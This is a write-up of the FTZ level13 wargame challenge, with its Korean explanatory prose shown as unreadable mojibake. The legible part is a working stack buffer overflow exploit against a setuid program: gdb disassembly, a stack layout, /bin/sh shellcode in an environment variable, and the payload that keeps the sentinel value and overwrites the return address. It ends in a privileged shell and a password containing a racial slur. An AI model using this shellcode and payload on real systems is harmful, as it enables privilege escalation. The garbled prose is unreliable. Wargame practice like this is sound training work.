[FTZ] level13 ํ’€์ด

2 ๋ถ„ ์†Œ์š”

๐Ÿ’ก FTZ level13 ํ’€์ด

๋ฌธ์ œ

๊ณ„์ • : level13/have no clue

hint

#include <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }  
}

ํ’€์ด

์ด๋ฒˆ์—๋Š” ์ฝ”๋“œ์—์„œ bof๋ฅผ ํƒ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์ค‘๊ฐ„์— ๋ณ€์ˆ˜ i ๋ฅผ ๋‘์–ด์„œ ๊ฐ’์ด ๋ณ€๊ฒฝ ๋˜์—ˆ๋Š”์ง€๋ฅผ ์ฒดํฌํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์Šคํƒ์„ ๋Œ€๋žต์ ์œผ๋กœ ํ‘œํ˜„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

ret 
ebp 
i = 0x1234567
buf[1024]

buf๋ฅผ ํ†ตํ•ด์„œ ret ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ์ค‘๊ฐ„ ๊ฒฝ๋กœ์— i ๊ฐ’์ด ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด ๋ถ€๋ถ„์„ ์ฃผ์˜ํ•ด์„œ ret ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ฐ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๋จผ์ € gdb๋กœ ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ถ„์„ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

[level13@ftz level13]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080484a0 <main+0>:    push   ebp
0x080484a1 <main+1>:    mov    ebp,esp
0x080484a3 <main+3>:    sub    esp,0x418   
0x080484a9 <main+9>:    mov    DWORD PTR [ebp-12],0x1234567   //i์˜ ์ฃผ์†Œ๋Š” ebp-12
0x080484b0 <main+16>:   sub    esp,0x8
0x080484b3 <main+19>:   push   0xc16
0x080484b8 <main+24>:   push   0xc16
0x080484bd <main+29>:   call   0x8048370 <setreuid>
0x080484c2 <main+34>:   add    esp,0x10
0x080484c5 <main+37>:   cmp    DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>:   jle    0x80484e5 <main+69>
0x080484cb <main+43>:   sub    esp,0x8
0x080484ce <main+46>:   mov    eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>:   add    eax,0x4
0x080484d4 <main+52>:   push   DWORD PTR [eax]
0x080484d6 <main+54>:   lea    eax,[ebp-1048]     //buf์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋Š” ebp-1048
0x080484dc <main+60>:   push   eax
0x080484dd <main+61>:   call   0x8048390 <strcpy>
0x080484e2 <main+66>:   add    esp,0x10
0x080484e5 <main+69>:   cmp    DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>:   je     0x804850d <main+109>
0x080484ee <main+78>:   sub    esp,0xc
0x080484f1 <main+81>:   push   0x80485a0
0x080484f6 <main+86>:   call   0x8048360 <printf>
0x080484fb <main+91>:   add    esp,0x10
0x080484fe <main+94>:   sub    esp,0x8
0x08048501 <main+97>:   push   0xb
0x08048503 <main+99>:   push   0x0
0x08048505 <main+101>:  call   0x8048380 <kill>
0x0804850a <main+106>:  add    esp,0x10
0x0804850d <main+109>:  leave
0x0804850e <main+110>:  ret
0x0804850f <main+111>:  nop
End of assembler dump.

์œ„์˜ gdb ๋ถ„์„๋Œ€๋กœ ์Šคํƒ์„ ๊ทธ๋ฆฌ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

ret(4)
ebp(4)
dummy(8)   // ebp์™€ i ์‚ฌ์ด์— ๋นˆ ๊ณต๊ฐ„์ด ์žˆ์Œ
i (4 byte) // ebp - 12 ์œ„์น˜
dummy(12)  // i ์™€ buf ์‚ฌ์ด์— ๋นˆ ๊ณต๊ฐ„์ด ์žˆ์Œ
buf[1024]  // ebp - 1048์œ„์น˜

๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๊ฐ€ ๊ทธ๋ ค์กŒ์œผ๋‹ˆ, ์‰˜์ฝ”๋“œ๋ฅผ ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ๋„ฃ๊ณ  ๊ทธ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

[level13@ftz level13]$ export SHELLCODE=$(python -c'print("\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
[level13@ftz level13]$
[level13@ftz level13]$ cd tmp
[level13@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("SHELLCODE"));}' >> env.c
[level13@ftz tmp]$ gcc -o env env.c
[level13@ftz tmp]$ ./env
0xbffffc6d

๋งˆ์ง€๋ง‰์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด bof ์ทจ์•ฝ์ ์„ ์ต์Šคํ”Œ๋กœ์ž‡ ํ•ฉ๋‹ˆ๋‹ค.

buf + dummy ๋ฅผ ๋”ํ•ด์„œ 1036๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์›Œ์ค€๋‹ค์Œ, i์˜ ๊ฐ’์ธ 0x1234567์„ ๋„ฃ์–ด์ค๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๋‚˜๋จธ์ง€ dummy + ebp๋ฅผ ํ•ฉ์ณ์„œ 12๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด ๋’ค์— ret ์ฃผ์†Œ๋ฅผ ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ์กด์žฌํ•˜๋Š” ์‰˜์ฝ”๋“œ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

[level13@ftz level13]$ ./attackme $(python -c 'print("A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x6d\xfc\xff\xbf" )')
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "what that nigga want?".

ํƒœ๊ทธ:

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ